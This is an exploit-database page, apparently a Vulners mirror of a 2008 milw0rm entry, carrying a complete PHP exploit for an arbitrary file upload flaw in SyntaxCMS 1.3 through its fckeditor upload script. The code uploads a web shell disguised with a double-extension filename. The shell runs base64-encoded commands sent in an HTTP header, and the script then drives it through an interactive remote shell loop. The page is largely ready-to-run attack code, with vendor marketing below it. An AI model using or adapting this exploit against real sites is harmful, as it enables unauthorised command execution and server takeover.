Lucene search
K

SyntaxCMS <= 1.3 (fckeditor) Arbitrary File Upload Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

SyntaxCMS <= 1.3 (fckeditor) Arbitrary File Upload Exploit. Allows arbitrary file upload containing malicious PHP code

Code

                                                &#60;?php
/*
 --------------------------------------------------------------
 Syntax CMS &#60;=  1.3 (fckeditor) Arbitrary File Upload Exploit
 --------------------------------------------------------------
 
 Gr33ts t0 : EgiX, ThE GeNeRal L0s3r , Houssamix ,Str0ke &#60;==&#62; special THanks to EgiX For the Exploit Code
 
 author...: Stack
 mail.....: Ev!L
 descr:
        if the web site change the name of path or path is /public/  you can delet /public/ in the exploit
        in the line :
        &#34;POST {$path}public/fckeditor/editor/filemanager/upload/php/upload.php
 [-] vulnerable code in /public/fckeditor/editor/filemanager/upload/php/upload.php
 
 41. // Get the posted file.
 42. $oFile = $_FILES[&#39;NewFile&#39;] ;
 43. 
 44. // Get the uploaded file name and extension.
 45. $sFileName = $oFile[&#39;name&#39;] ;
 46. $sOriginalFileName = $sFileName ;
 47. $sExtension = substr( $sFileName, ( strrpos($sFileName, &#39;.&#39;) + 1 ) ) ;
 48. $sExtension = strtolower( $sExtension ) ;
 49. 
 50. // The the file type (from the QueryString, by default &#39;File&#39;).
 51. $sType = isset( $_GET[&#39;Type&#39;] ) ? $_GET[&#39;Type&#39;] : &#39;File&#39; ;
 52. 
 53. // Check if it is an allowed type.
 54. if ( !in_array( $sType, array(&#39;File&#39;,&#39;Image&#39;,&#39;Flash&#39;,&#39;Media&#39;) ) )
 55.     SendResults( 1, &#39;&#39;, &#39;&#39;, &#39;Invalid type specified&#39; ) ;
 56. 
 57. // Get the allowed and denied extensions arrays.
 58. $arAllowed = $Config[&#39;AllowedExtensions&#39;][$sType] ;
 59. $arDenied = $Config[&#39;DeniedExtensions&#39;][$sType] ;
 60. 
 61. // Check if it is an allowed extension.
 62. if ( ( count($arAllowed) &#62; 0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) &#62; 0 && in_array( $sExtension, $arDenied ) ) )
 63.  SendResults( &#39;202&#39; ) ;
 64. 
 65. $sErrorNumber = &#39;0&#39; ;
 66. $sFileUrl  = &#39;&#39; ;
 67. 
 68. // Initializes the counter used to rename the file, if another one with the same name already exists.
 69. $iCounter = 0 ;
 70. 
 71. // The the target directory.
 72. if ( isset( $Config[&#39;UserFilesAbsolutePath&#39;] ) )
 73.  $sServerDir = $Config[&#39;UserFilesAbsolutePath&#39;] ;
 74. else
 75.  //$sServerDir = GetRootPath() . $Config[&#34;UserFilesPath&#34;] ;
 76.  $sServerDir = $Config[&#34;UserFilesPath&#34;] ;
 77. 
 78. while ( true )
 79. {
 80.  // Compose the file path.
 81.  $sFilePath = $sServerDir . $sFileName ;
 82. 
 83.  // If a file with that name already exists.
 84.  if ( is_file( $sFilePath ) )
 85.  {
 86.   $iCounter++ ;
 87.   $sFileName = RemoveExtension( $sOriginalFileName ) . &#39;(&#39; . $iCounter . &#39;).&#39; . $sExtension ;
 88.   $sErrorNumber = &#39;201&#39; ;
 89.  }
 90.  else
 91.  {
 92.   move_uploaded_file( $oFile[&#39;tmp_name&#39;], $sFilePath ) ;
 93. 
 94.   if ( is_file( $sFilePath ) )
 95.   {
 96.    $oldumask = umask(0) ;
 97.    chmod( $sFilePath, 0777 ) ;
 98.    umask( $oldumask ) ;
 99.   }
 100.   
 101.   $sFileUrl = $Config[&#34;UserFilesPath&#34;] . $sFileName ;
 102. 
 103.   break ;
 
 with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code 
*/
error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print &#34;\n[-] No response from {$host}:80 Trying again...&#34;;
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
print &#34;\n+------------------------------------------------------------+&#34;;
print &#34;\n| Syntax CMS &#60;=  1.3 Arbitrary File Upload Exploit by Stack  |&#34;;
print &#34;\n+------------------------------------------------------------+\n&#34;;
if ($argc &#60; 2)
{
 print &#34;\nUsage......: php $argv[0] host path&#34;;
 print &#34;\nExample....: php $argv[0] localhost /Syntax/\n&#34;;
 die();
}
$host = $argv[1];
$path = $argv[2];
$data  = &#34;--12345\r\n&#34;;
$data .= &#34;Content-Disposition: form-data; name=\&#34;NewFile\&#34;; filename=\&#34;s.php.he.ll\&#34;\r\n&#34;;
$data .= &#34;Content-Type: application/octet-stream\r\n\r\n&#34;;
$data .= &#34;&#60;?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?&#62;\n&#34;;
$data .= &#34;--12345--\r\n&#34;;
$packet  = &#34;POST {$path}public/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet .= &#34;Content-Type: multipart/form-data; boundary=12345\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;
$packet .= $data;
preg_match(&#34;/OnUploadCompleted\((.*),\&#34;(.*)\&#34;,\&#34;(.*)\&#34;,/i&#34;, http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die(&#34;\n[-] Upload failed! (Error {$html[1]})\n&#34;);
else print &#34;\n[-] Shell uploaded to {$html[2]}...starting it!\n&#34;;
define(STDIN, fopen(&#34;php://stdin&#34;, &#34;r&#34;));
while(1)
{
 print &#34;\nstack-shell# &#34;;
 $cmd = trim(fgets(STDIN));
 if ($cmd != &#34;exit&#34;)
 {
  $packet = &#34;GET {$path}datacenter/media/{$html[3]} HTTP/1.0\r\n&#34;;
  $packet.= &#34;Host: {$host}\r\n&#34;;
  $packet.= &#34;Cmd: &#34;.base64_encode($cmd).&#34;\r\n&#34;;
  $packet.= &#34;Connection: close\r\n\r\n&#34;;
  $output = http_send($host, $packet);
  if (eregi(&#34;print&#34;, $output) || !eregi(&#34;_code_&#34;, $output)) die(&#34;\n[-] Exploit failed...\n&#34;);
  $shell = explode(&#34;_code_&#34;, $output);
  print &#34;\n{$shell[1]}&#34;;
 }
 else break;
}
?&#62;

# milw0rm.com [2008-05-29]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
12